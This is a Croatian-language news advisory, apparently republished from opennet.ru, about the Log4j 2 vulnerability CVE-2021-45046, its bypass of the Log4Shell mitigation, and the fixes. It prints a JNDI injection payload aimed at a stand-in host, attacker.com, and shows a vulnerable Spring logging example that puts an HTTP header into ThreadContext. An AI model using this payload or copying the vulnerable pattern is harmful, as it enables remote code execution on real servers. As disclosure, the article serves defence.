U implementaciji JNDI zamjena u biblioteci Log4j 2 otkrivena je još jedna ranjivost (CVE-2021-45046), koja se pojavljuje unatoč ispravkama dodanim u verziji 2.15 i neovisno o korištenju postavke „log4j2.noFormatMsgLookup“ za zaštitu. Problem predstavlja opasnost prvenstveno za starije verzije Log4j 2, zaštićene pomoću oznake „noFormatMsgLookup“, jer omogućava zaobilaženje zaštite od prethodne ranjivosti (Log4Shell, CVE-2021-44228), koja omogućava izvođenje vlastitog koda na poslužitelju. Za korisnike verzije 2.15 eksploatacija je ograničena na stvaranje uvjeta za rušenje aplikacije zbog iscrpljivanja dostupnih resursa.
Ranjivost se manifestira samo na sustavima u kojima se prilikom vođenja evidencije koriste kontekstni upiti (Context Lookup), poput ${ctx:loginId}, ili MDC uzorci (Thread Context Map), primjerice, %X, %mdc i %MDC. Eksploatacija se svodi na stvaranje uvjeta za ispis podataka u log koji sadrže JNDI zamjene, kada se u aplikaciji koriste kontekstni upiti ili MDC uzorci, koji definiraju pravila formatiranja ispisa u log.
Istraživači iz tvrtke LunaSec napominju da se za verzije Log4j manje od 2.15 ova ranjivost može koristiti kao nova šansa za napad Log4Shell, što dovodi do izvršenja koda, ako se prilikom vođenja evidencije koriste izrazi ThreadContext, koji uključuju vanjske podatke, neovisno o uključivanju zaštite putem oznake „noMsgFormatLookups“ ili uzorka „%m{nolookups}“.

Zaobilaženje zaštite svodi se na to da se umjesto izravne zamjene „${jndi:ldap://attacker.com/a}“, ovaj izraz zamjenjuje putem vrijednosti posredničke varijable koja se koristi u pravilima formatiranja ispisa u log. Na primjer, ako se prilikom vođenja evidencije koristi kontekstni upit ${ctx:apiversion}, tada se napad može provesti zamjenom podataka „${jndi:ldap://attacker.com/a}“ u vrijednost koja se zapisuje u varijablu apiversion. Primjer ranjivog koda: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Vrijednost HTTP zaglavlja „X-Api-Version“ predaje se u ThreadContext ThreadContext.put("apiversion", apiVersion); // Prilikom vođenja evidencije, vanjska vrijednost apiversion će se obraditi pomoću zamjene ${ctx:apiversion} logger.info("Primljeni zahtjev za verziju API-ja"); return "Hello, world!"; }
U verziji Log4j 2.15, ranjivost se može iskoristiti za izvršenje DoS napada prilikom slanja u ThreadContext vrijednosti koje dovode do beskonačne petlje obrade formata izlaznog predloška.

Za blokiranje ranjivosti objavljene su nadogradnje 2.16 i 2.12.2. U grani Log4j 2.16, pored ispravki implementiranih u verziji 2.15 i vezivanja JNDI LDAP upita za 'localhost', prema zadanim postavkama potpuno je onemogućena funkcionalnost JNDI i podrška za predloške umetanja poruka je uklonjena. Kao zaobilazno rješenje predloženo je uklanjanje klase JndiLookup iz classpath-a (na primjer, 'zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class').
Praćenje ispravki u paketima može se obaviti na stranicama distribucija (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) i proizvođača Java platformi (GitHub, Docker, Oracle, vmWare, Broadcom i Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure itd.).
Izvor: opennet.ru
